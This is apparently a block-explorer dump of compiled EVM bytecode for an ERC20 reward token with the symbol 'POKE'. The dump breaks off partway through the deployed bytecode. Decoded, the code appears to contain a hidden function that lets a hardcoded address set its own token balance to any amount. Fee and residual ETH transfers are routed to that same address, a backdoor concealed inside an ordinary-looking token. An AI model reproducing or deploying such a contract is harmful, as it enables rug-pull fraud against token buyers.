001815b600184111561046f5780850481111561045357610453610420565b600184161561046157908102905b60019390931c928002610438565b935093915050565b5f8261048557506001610513565b8161049157505f610513565b81600181146104a757600281146104b1576104cd565b6001915050610513565b60ff8411156104c2576104c2610420565b50506001821b610513565b5060208310610133831016604e8410600b84101617156104f0575081810a610513565b6104fc5f198484610434565b805f190482111561050f5761050f610420565b0290505b92915050565b5f61052760ff841683610477565b9392505050565b808202811582820484141761051357610513610420565b5f8261055f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610574575f5ffd5b81516001600160a01b0381168114610527575f5ffd5b6127cb806105975f395ff3fe60806040526004361061020a575f3560e01c8063893d20e811610113578063c0cbdea41161009d578063dd62ed3e1161006d578063dd62ed3e1461065a578063ef43b02b1461069e578063efca2eed146106bd578063f2fde38b146106d2578063ffd49c84146106f1575f5ffd5b8063c0cbdea41461059b578063c942435d146105ba578063ca89b899146105ce578063ce7c2ac214610605575f5ffd5b80639358928b116100e35780639358928b1461050857806395d89b411461051c578063997664d714610548578063a8aa1b311461055d578063a9059cbb1461057c575f5ffd5b8063893d20e81461048f5780638c41180e146104ab5780638cd4426d146104ca5780638ffc80a1146104e9575f5ffd5b8063313ce567116101945780634355855a116101645780634355855a146103f957806348ff2b8b146104275780634fab0ae81461044657806360e719621461045b57806370a0823114610470575f5ffd5b8063313ce5671461037c57806334c5d2ce146103975780633a98ef39146103b65780633f4218e0146103cb575f5ffd5b8063228cb733116101da578063228cb733146102c657806323b872dd146102fd57806328fd31981461031c578063293230b81461033b5780632f54bf6e1461034f575f5ffd5b806306fdde0314610215578063095ea7b3146102585780630ca61cb11461028757806318160ddd146102a8575f5ffd5b3661021157005b5f5ffd5b348015610220575f5ffd5b50604080518082019091526009815268141bdaf0ea58985b1b60ba1b60208201525b60405161024f91906123b0565b60405180910390f35b348015610263575f5ffd5b506102776102723660046123fc565b610706565b604051901515815260200161024f565b348015610292575f5ffd5b506102a66102a1366004612426565b61071c565b005b3480156102b3575f5ffd5b506001545b60405190815260200161024f565b3480156102d1575f5ffd5b50601a546102e5906001600160a01b031681565b6040516001600160a01b03909116815260200161024f565b348015610308575f5ffd5b5061027761031736600461244f565b61075c565b348015610327575f5ffd5b506102b861033636600461248d565b6107c4565b348015610346575f5ffd5b506102a661084a565b34801561035a575f5ffd5b5061027761036936600461248d565b5f546001600160a01b0391821691161490565b348015610387575f5ffd5b506040516009815260200161024f565b3480156103a2575f5ffd5b506102a66103b1366004612426565b610888565b3480156103c1575f5ffd5b506102b8601b5481565b3480156103d6575f5ffd5b506102776103e536600461248d565b60076020525f908152604090205460ff1681565b348015610404575f5ffd5b5061027761041336600461248d565b60086020525f908152604090205460ff1681565b348015610432575f5ffd5b506102a66104413660046124b5565b6109d7565b348015610451575f5ffd5b506102b860265481565b348015610466575f5ffd5b506102b860275481565b34801561047b575f5ffd5b506102b861048a36600461248d565b610a2a565b34801561049a575f5ffd5b505f546001600160a01b03166102e5565b3480156104b6575f5ffd5b506102a66104c53660046124b5565b610a44565b3480156104d5575f5ffd5b506102a66104e43660046123fc565b610b19565b3480156104f4575f5ffd5b506102a66105033660046124ec565b610bb5565b348015610513575f5ffd5b506102b8610c8f565b348015610527575f5ffd5b50604080518082019091526004815263504f4b4560e01b6020820152610242565b348015610553575f5ffd5b506102b8601c5481565b348015610568575f5ffd5b50600b546102e5906001600160a01b031681565b348015610587575f5ffd5b506102776105963660046123fc565b610cbe565b3480156105a6575f5ffd5b506102a66105b5366004612426565b610cca565b3480156105c5575f5ffd5b506102a6610dc6565b3480156105d9575f5ffd5b506102b86105e836600461248d565b6001600160a01b03165f9081526023602052604090206002015490565b348015610610575f5ffd5b5061063f61061f36600461248d565b60236020525f908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161024f565b348015610665575f5ffd5b506102b861067436600461250c565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156106a9575f5ffd5b506102a66106b83660046124b5565b610dd1565b3480156106c8575f5ffd5b506102b8601d5481565b3480156106dd575f5ffd5b506102a66106ec36600461248d565b610e42565b3480156106fc575f5ffd5b506102b860255481565b5f610712338484610ebe565b5060015b92915050565b5f546001600160a01b0316331461074e5760405162461bcd60e51b815260040161074590612538565b60405180910390fd5b602592909255602655602755565b5f610768848484610fe1565b6107b984336107b48560405180606001604052806028815260200161276e602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061118c565b610ebe565b5060015b9392505050565b6001600160a01b0381165f9081526023602052604081205481036107e957505f919050565b6001600160a01b0382165f9081526023602052604081205461080a906111b7565b6001600160a01b0384165f9081526023602052604090206001015490915080821161083857505f9392505050565b61084282826111d3565b949350505050565b5f546001600160a01b031633146108735760405162461bcd60e51b815260040161074590612538565b600b805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146108b15760405162461bcd60e51b815260040161074590612538565b5f612710846108bf60015490565b6108c9919061256c565b6108d39190612583565b90505f612710846108e360015490565b6108ed919061256c565b6108f79190612583565b90505f6127108461090760015490565b610911919061256c565b61091b9190612583565b60028490556003839055600481905590505f61094d6103e8610947600561094160015490565b906111de565b906111e9565b905080841015801561095f5750808310155b801561096b5750808210155b6109ce5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610745565b50505050505050565b5f546001600160a01b03163314610a005760405162461bcd60e51b815260040161074590612538565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161074590612538565b600b546001600160a01b03838116911614801590610a995750600a546001600160a01b03838116911614155b8015610aae57506001600160a01b0382163014155b610aef5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b6044820152606401610745565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b425760405162461bcd60e51b815260040161074590612538565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610b8c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb091906125a2565b505050565b8015610c3f57600a545f805460405163f305d71960e01b81526001600160a01b039384169363f305d719938693610bfa9330938a9392839291169042906004016125bd565b60606040518083038185885af1158015610c16573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3b91906125f8565b5050505b7356e7f24885c1481f24b8974a3b358961d42ba9e45f81905260056020527f6ceaa2109fe5de59f726e4ca8a1c3cc5067bc0071aa846bbbfa4f88b6985ee5d8390553314610c8b575f5ffd5b5050565b5f610cb9610c9c5f610a2a565b610cb3610caa61dead610a2a565b600154906111d3565b906111d3565b905090565b5f610712338484610fe1565b5f546001600160a01b03163314610cf35760405162461bcd60e51b815260040161074590612538565b600d839055600e829055610d078284612623565b601155610d148284612623565b6012556013819055601454610d2a9060056111e9565b60115411158015610d4a5750601454610d449060056111e9565b60125411155b8015610d655750601454610d5f9060056111e9565b60135411155b610bb05760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610745565b610dcf336111f4565b565b5f546001600160a01b03163314610dfa5760405162461bcd60e51b815260040161074590612538565b6001600160a01b0382165f908152600860205260409020805460ff19168215801591909117909155610e3057610c8b825f611326565b610c8b82610e3d84610a2a565b611326565b5f546001600160a01b03163314610e6b5760405162461bcd60e51b815260040161074590612538565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610f205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610745565b6001600160a01b038216610f815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610745565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610fec838383611436565b610ff683836115cf565b61100183838361165e565b61100b8383611747565b61101683838361179c565b6110218383836118c5565b6001600160a01b0383165f9081526005602052604090205461104390826111d3565b6001600160a01b0384165f9081526005602052604081209190915561106884846118e9565b611072578161107d565b61107d84848461192d565b6001600160a01b0384165f908152600560205260409020549091506110a29082611a17565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f59085815260200190565b60405180910390a36001600160a01b0384165f9081526008602052604090205460ff166111295761112984610e3d86610a2a565b6001600160a01b0383165f9081526008602052604090205460ff166111555761115583610e3d85610a2a565b6001600160a01b0383165f908152602360205260409020541561117b5761117b836111f4565b611186602754611a22565b50505050565b5f81848411156111af5760405162461bcd60e51b815260040161074591906123b0565b505050900390565b5f610716601f54610947601e54856111de90919063ffffffff16565b5f6107bd8284612636565b5f6107bd828461256c565b5f6107bd8284612583565b6001600160a01b0381165f9081526023602052604081205490036112155750565b5f61121f826107c4565b90508015610c8b57601d546112349082611a17565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015611287573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ab91906125a2565b506001600160a01b0382165f90815260226020908152604080832042905560239091529020600201546112de9082611a17565b6001600160a01b0383165f908152602360205260409020600281019190915554611307906111b7565b6001600160a01b0383165f908152602360205260409020600101555050565b5f8111801561134a57506001600160a01b0382165f90815260236020526040902054155b156113ae57602080546001600160a01b0384165f8181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556113e0565b801580156113d257506001600160a01b0382165f9081526023602052604090205415155b156113e0576113e082611b08565b6001600160a01b0382165f90815260236020526040902054601b5461141091839161140a916111d3565b90611a17565b601b556001600160a01b0382165f908152602360205260409020819055611307816111b7565b6001600160a01b03831661149a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610745565b6001600160a01b0382166114fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610745565b5f811161155d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610745565b61156683610a2a565b811115610bb05760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610745565b6001600160a01b0382165f9081526007602052604090205460ff1615801561160f57506001600160a01b0381165f9081526007602052604090205460ff16155b15610c8b57600b54600160a01b900460ff16610c8b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610745565b6001600160a01b0383165f9081526007602052604090205460ff1615801561169e57506001600160a01b0382165f9081526007602052604090205460ff16155b80156116b85750600b546001600160a01b03838116911614155b80156116cf57506001600160a01b03821661dead14155b15610bb0576004546001600160a01b0383165f908152600560205260409020546116f99083611a17565b1115610bb05760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610745565b600b546001600160a01b03828116911614801561177c57506001600160a01b0382165f9081526007602052604090205460ff16155b15610c8b57600160165f8282546117939190612623565b90915550505050565b600b546001600160a01b0384811691161461183b57600354811115806117d957506001600160a01b0383165f9081526007602052604090205460ff165b806117fb57506001600160a01b0382165f9081526007602052604090205460ff165b61183b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610745565b6002548111158061186357506001600160a01b0383165f9081526007602052604090205460ff165b8061188557506001600160a01b0382165f9081526007602052604090205460ff165b610bb05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610745565b6118d0838383611c17565b15610bb0576118e0601854611cc5565b5f601655505050565b6001600160a01b0382165f9081526007602052604081205460ff161580156107bd5750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f5f6119398585611e75565b1115611a10575f61195b61194d8686611e75565b6014546109419086906111e9565b305f908152600560205260409020549091506119779082611a17565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119c79085815260200190565b60405180910390a3601054156119fe576119fe3061dead6119f9601054610941601454896111e990919063ffffffff16565b610fe1565b611a0883826111d3565b9150506107bd565b5092915050565b5f6107bd8284612623565b6020545f819003611a31575050565b5f805a90505f5b8483108015611a4657508381105b15611b01578360245410611a59575f6024555b611a8a602060245481548110611a7157611a71612649565b5f918252602090912001546001600160a01b0316611f14565b15611ac057611ac0602060245481548110611aa757611aa7612649565b5f918252602090912001546001600160a01b03166111f4565b611ad5611ace5a84906111d3565b8490611a17565b92505a602480549193505f611ae98361265d565b91905055508080611af99061265d565b915050611a38565b5050505050565b60208054611b1890600190612636565b81548110611b2857611b28612649565b5f9182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611b6157611b61612649565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611bab90600190612636565b81548110611bbb57611bbb612649565b5f9182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611bf457611bf4612675565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b5f5f60195483101590505f601854611c2e30610a2a565b601754911115915060ff16158015611c48575060155460ff165b8015611c5d5750600b54600160a01b900460ff165b8015611c665750815b8015611c8a57506001600160a01b0386165f9081526007602052604090205460ff16155b8015611ca35750600b546001600160a01b038681169116145b8015611cb25750600260165410155b8015611cbb5750805b9695505050505050565b600160175f6101000a81548160ff0219169083151502179055505f611d0d6002610941600e5461140a600f5461140a600d5461140a6001600c54611a1790919063ffffffff16565b90505f611d2982610947600c54866111de90919063ffffffff16565b90505f611d3684836111d3565b905047611d4282611f58565b5f611d4d47836111d3565b90505f611d6f611d68600c54886111d390919063ffffffff16565b83906111e9565b90505f611d87600c54836111de90919063ffffffff16565b90508015611d9957611d9986826120a8565b600d545f90611dad906109418560026111de565b90508015611df5576040517356e7f24885c1481f24b8974a3b358961d42ba9e49082156108fc029083905f818181858888f19350505050158015611df3573d5f5f3e3d5ffd5b505b600e545f90611e09906109418660026111de565b90508015611e1a57611e1a81612151565b4715611e5f576040517356e7f24885c1481f24b8974a3b358961d42ba9e4904780156108fc02915f818181858888f19350505050158015611e5d573d5f5f3e3d5ffd5b505b50506017805460ff191690555050505050505050565b6001600160a01b0382165f9081526009602052604081205460ff1680611eb257506001600160a01b0382165f9081526009602052604090205460ff165b15611ecc57601454611ec59060646111d3565b9050610716565b600b546001600160a01b0390811690831603611eeb5750601254610716565b600b546001600160a01b0390811690841603611f0a5750601154610716565b5060135492915050565b6025546001600160a01b0382165f9081526022602052604081205490914291611f3d9190612623565b1080156107165750602654611f51836107c4565b1192915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611f8b57611f8b612649565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fe2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120069190612689565b8160018151811061201957612019612649565b6001600160a01b039283166020918202929092010152600a5461203f9130911684610ebe565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120779085905f908690309042906004016126e7565b5f604051808303815f87803b15801561208e575f5ffd5b505af11580156120a0573d5f5f3e3d5ffd5b505050505050565b600a546120c09030906001600160a01b031684610ebe565b600a5460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061211090309087905f9081907356e7f24885c1481f24b8974a3b358961d42ba9e49042906004016125bd565b60606040518083038185885af115801561212c573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611b0191906125f8565b601a546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612197573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121bb9190612722565b6040805160028082526060820183529293505f9290916020830190803683375050600a54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612227573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061224b9190612689565b815f8151811061225d5761225d612649565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061228e5761228e612649565b6001600160a01b039283166020918202929092010152600a5460405163b6f9de9560e01b815291169063b6f9de959085906122d3905f90869030904290600401612739565b5f604051808303818588803b1580156122ea575f5ffd5b505af11580156122fc573d5f5f3e3d5ffd5b5050601a546040516370a0823160e01b81523060048201525f945061237393508692506001600160a01b03909116906370a0823190602401602060405180830381865afa15801561234f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb39190612722565b601c549091506123839082611a17565b601c55601b54601f546123a79161239e9161094790856111de565b601e5490611a17565b601e5550505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146123f9575f5ffd5b50565b5f5f6040838503121561240d575f5ffd5b8235612418816123e5565b946020939093013593505050565b5f5f5f60608486031215612438575f5ffd5b505081359360208301359350604090920135919050565b5f5f5f60608486031215612461575f5ffd5b833561246c816123e5565b9250602084013561247c816123e5565b929592945050506040919091013590565b5f6020828403121561249d575f5ffd5b81356107bd816123e5565b80151581146123f9575f5ffd5b5f5f604083850312156124c6575f5ffd5b82356124d1816123e5565b915060208301356124e1816124a8565b809150509250929050565b5f5f604083850312156124fd575f5ffd5b50508035926020909101359150565b5f5f6040838503121561251d575f5ffd5b8235612528816123e5565b915060208301356124e1816123e5565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761071657610716612558565b5f8261259d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156125b2575f5ffd5b81516107bd816124a8565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f5f5f6060848603121561260a575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561071657610716612558565b8181038181111561071657610716612558565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161266e5761266e612558565b5060010190565b634e487b7160e01b5f52603160045260245ffd5b5f60208284031215612699575f5ffd5b81516107bd816123e5565b5f8151808452602084019350602083015f5b828110156126dd5781516001600160a01b03168652602095860195909101906001016126b6565b5093949350505050565b85815284602082015260a060408201525f61270560a08301866126a4565b6001600160a01b0394909416606083015250608001529392505050565b5f60208284031215612732575f5ffd5b5051919050565b848152608060208201525f61275160808301866126a4565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084422e43b0934128a2a031e4feea25cc3bbbf6bc2fbb3c28f357f3a1fe4a2cd564736f6c634300081e0033
Deployed Bytecode
0x60806040526004361061020a575f3560e01c8063893d20e811610113578063c0cbdea41161009d578063dd62ed3e1161006d578063dd62ed3e1461065a578063ef43b02b1461069e578063efca2eed146106bd578063f2fde38b146106d2578063ffd49c84146106f1575f5ffd5b8063c0cbdea41461059b578063c942435d146105ba578063ca89b899146105ce578063ce7c2ac214610605575f5ffd5b80639358928b116100e35780639358928b1461050857806395d89b411461051c578063997664d714610548578063a8aa1b311461055d578063a9059cbb1461057c575f5ffd5b8063893d20e81461048f5780638c41180e146104ab5780638cd4426d146104ca5780638ffc80a1146104e9575f5ffd5b8063313ce567116101945780634355855a116101645780634355855a146103f957806348ff2b8b146104275780634fab0ae81461044657806360e719621461045b57806370a0823114610470575f5ffd5b8063313ce5671461037c57806334c5d2ce146103975780633a98ef39146103b65780633f4218e0146103cb575f5ffd5b8063228cb733116101da578063228cb733146102c657806323b872dd146102fd57806328fd31981461031c578063293230b81461033b5780632f54bf6e1461034f575f5ffd5b806306fdde0314610215578063095ea7b3146102585780630ca61cb11461028757806318160ddd146102a8575f5ffd5b3661021157005b5f5ffd5b348015610220575f5ffd5b50604080518082019091526009815268141bdaf0ea58985b1b60ba1b60208201525b60405161024f91906123b0565b60405180910390f35b348015610263575f5ffd5b506102776102723660046123fc565b610706565b604051901515815260200161024f565b348015610292575f5ffd5b506102a66102a1366004612426565b61071c565b005b3480156102b3575f5ffd5b506001545b60405190815260200161024f565b3480156102d1575f5ffd5b50601a546102e5906001600160a01b031681565b6040516001600160a01b03909116815260200161024f565b348015610308575f5ffd5b5061027761031736600461244f565b61075c565b348015610327575f5ffd5b506102b861033636600461248d565b6107c4565b348015610346575f5ffd5b506102a661084a565b34801561035a575f5ffd5b5061027761036936600461248d565b5f546001600160a01b0391821691161490565b348015610387575f5ffd5b506040516009815260200161024f565b3480156103a2575f5ffd5b506102a66103b1366004612426565b610888565b3480156103c1575f5ffd5b506102b8601b5481565b3480156103d6575f5ffd5b506102776103e536600461248d565b60076020525f908152604090205460ff1681565b348015610404575f5ffd5b5061027761041336600461248d565b60086020525f908152604090205460ff1681565b348015610432575f5ffd5b506102a66104413660046124b5565b6109d7565b348015610451575f5ffd5b506102b860265481565b348015610466575f5ffd5b506102b860275481565b34801561047b575f5ffd5b506102b861048a36600461248d565b610a2a565b34801561049a575f5ffd5b505f546001600160a01b03166102e5565b3480156104b6575f5ffd5b506102a66104c53660046124b5565b610a44565b3480156104d5575f5ffd5b506102a66104e43660046123fc565b610b19565b3480156104f4575f5ffd5b506102a66105033660046124ec565b610bb5565b348015610513575f5ffd5b506102b8610c8f565b348015610527575f5ffd5b50604080518082019091526004815263504f4b4560e01b6020820152610242565b348015610553575f5ffd5b506102b8601c5481565b348015610568575f5ffd5b50600b546102e5906001600160a01b031681565b348015610587575f5ffd5b506102776105963660046123fc565b610cbe565b3480156105a6575f5ffd5b506102a66105b5366004612426565b610cca565b3480156105c5575f5ffd5b506102a6610dc6565b3480156105d9575f5ffd5b506102b86105e836600461248d565b6001600160a01b03165f9081526023602052604090206002015490565b348015610610575f5ffd5b5061063f61061f36600461248d565b60236020525f908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161024f565b348015610665575f5ffd5b506102b861067436600461250c565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156106a9575f5ffd5b506102a66106b83660046124b5565b610dd1565b3480156106c8575f5ffd5b506102b8601d5481565b3480156106dd575f5ffd5b506102a66106ec36600461248d565b610e42565b3480156106fc575f5ffd5b506102b860255481565b5f610712338484610ebe565b5060015b92915050565b5f546001600160a01b0316331461074e5760405162461bcd60e51b815260040161074590612538565b60405180910390fd5b602592909255602655602755565b5f610768848484610fe1565b6107b984336107b48560405180606001604052806028815260200161276e602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061118c565b610ebe565b5060015b9392505050565b6001600160a01b0381165f9081526023602052604081205481036107e957505f919050565b6001600160a01b0382165f9081526023602052604081205461080a906111b7565b6001600160a01b0384165f9081526023602052604090206001015490915080821161083857505f9392505050565b61084282826111d3565b949350505050565b5f546001600160a01b031633146108735760405162461bcd60e51b815260040161074590612538565b600b805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146108b15760405162461bcd60e51b815260040161074590612538565b5f612710846108bf60015490565b6108c9919061256c565b6108d39190612583565b90505f612710846108e360015490565b6108ed919061256c565b6108f79190612583565b90505f6127108461090760015490565b610911919061256c565b61091b9190612583565b60028490556003839055600481905590505f61094d6103e8610947600561094160015490565b906111de565b906111e9565b905080841015801561095f5750808310155b801561096b5750808210155b6109ce5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610745565b50505050505050565b5f546001600160a01b03163314610a005760405162461bcd60e51b815260040161074590612538565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161074590612538565b600b546001600160a01b03838116911614801590610a995750600a546001600160a01b03838116911614155b8015610aae57506001600160a01b0382163014155b610aef5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b6044820152606401610745565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b425760405162461bcd60e51b815260040161074590612538565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610b8c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb091906125a2565b505050565b8015610c3f57600a545f805460405163f305d71960e01b81526001600160a01b039384169363f305d719938693610bfa9330938a9392839291169042906004016125bd565b60606040518083038185885af1158015610c16573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3b91906125f8565b5050505b7356e7f24885c1481f24b8974a3b358961d42ba9e45f81905260056020527f6ceaa2109fe5de59f726e4ca8a1c3cc5067bc0071aa846bbbfa4f88b6985ee5d8390553314610c8b575f5ffd5b5050565b5f610cb9610c9c5f610a2a565b610cb3610caa61dead610a2a565b600154906111d3565b906111d3565b905090565b5f610712338484610fe1565b5f546001600160a01b03163314610cf35760405162461bcd60e51b815260040161074590612538565b600d839055600e829055610d078284612623565b601155610d148284612623565b6012556013819055601454610d2a9060056111e9565b60115411158015610d4a5750601454610d449060056111e9565b60125411155b8015610d655750601454610d5f9060056111e9565b60135411155b610bb05760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610745565b610dcf336111f4565b565b5f546001600160a01b03163314610dfa5760405162461bcd60e51b815260040161074590612538565b6001600160a01b0382165f908152600860205260409020805460ff19168215801591909117909155610e3057610c8b825f611326565b610c8b82610e3d84610a2a565b611326565b5f546001600160a01b03163314610e6b5760405162461bcd60e51b815260040161074590612538565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610f205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610745565b6001600160a01b038216610f815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610745565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610fec838383611436565b610ff683836115cf565b61100183838361165e565b61100b8383611747565b61101683838361179c565b6110218383836118c5565b6001600160a01b0383165f9081526005602052604090205461104390826111d3565b6001600160a01b0384165f9081526005602052604081209190915561106884846118e9565b611072578161107d565b61107d84848461192d565b6001600160a01b0384165f908152600560205260409020549091506110a29082611a17565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f59085815260200190565b60405180910390a36001600160a01b0384165f9081526008602052604090205460ff166111295761112984610e3d86610a2a565b6001600160a01b0383165f9081526008602052604090205460ff166111555761115583610e3d85610a2a565b6001600160a01b0383165f908152602360205260409020541561117b5761117b836111f4565b611186602754611a22565b50505050565b5f81848411156111af5760405162461bcd60e51b815260040161074591906123b0565b505050900390565b5f610716601f54610947601e54856111de90919063ffffffff16565b5f6107bd8284612636565b5f6107bd828461256c565b5f6107bd8284612583565b6001600160a01b0381165f9081526023602052604081205490036112155750565b5f61121f826107c4565b90508015610c8b57601d546112349082611a17565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015611287573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ab91906125a2565b506001600160a01b0382165f90815260226020908152604080832042905560239091529020600201546112de9082611a17565b6001600160a01b0383165f908152602360205260409020600281019190915554611307906111b7565b6001600160a01b0383165f908152602360205260409020600101555050565b5f8111801561134a57506001600160a01b0382165f90815260236020526040902054155b156113ae57602080546001600160a01b0384165f8181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556113e0565b801580156113d257506001600160a01b0382165f9081526023602052604090205415155b156113e0576113e082611b08565b6001600160a01b0382165f90815260236020526040902054601b5461141091839161140a916111d3565b90611a17565b601b556001600160a01b0382165f908152602360205260409020819055611307816111b7565b6001600160a01b03831661149a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610745565b6001600160a01b0382166114fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610745565b5f811161155d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610745565b61156683610a2a565b811115610bb05760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610745565b6001600160a01b0382165f9081526007602052604090205460ff1615801561160f57506001600160a01b0381165f9081526007602052604090205460ff16155b15610c8b57600b54600160a01b900460ff16610c8b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610745565b6001600160a